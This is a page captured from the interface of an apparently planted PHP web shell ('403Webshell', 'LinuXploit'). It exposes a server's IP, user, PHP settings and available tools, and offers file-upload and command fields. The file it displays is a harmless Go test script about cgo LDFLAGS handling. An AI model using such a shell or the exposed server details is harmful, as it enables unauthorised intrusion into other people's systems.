403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.75
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/go-1.23/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/go-1.23/src/cmd/go/testdata/script/ldflag.txt
# Issue #42565

[!cgo] skip

# We can't build package bad, which uses #cgo LDFLAGS.
cd bad
! go build
stderr no-such-warning

# We can build package ok with the same flags in CGO_LDFLAGS.
env CGO_LDFLAGS=-Wno-such-warning -Wno-unknown-warning-option
cd ../ok
go build

# Build a main program that actually uses LDFLAGS.
cd ..
go build -ldflags=-v

# Because we passed -v the Go linker should print the external linker
# command which should include the flag we passed in CGO_LDFLAGS.
stderr no-such-warning

-- go.mod --
module ldflag

-- bad/bad.go --
package bad

// #cgo LDFLAGS: -Wno-such-warning -Wno-unknown-warning
import "C"

func F() {}
-- ok/ok.go --
package ok

import "C"

func F() {}
-- main.go --
package main

import _ "ldflag/ok"

func main() {}

Youez - 2016 - github.com/yon3zu
LinuXploit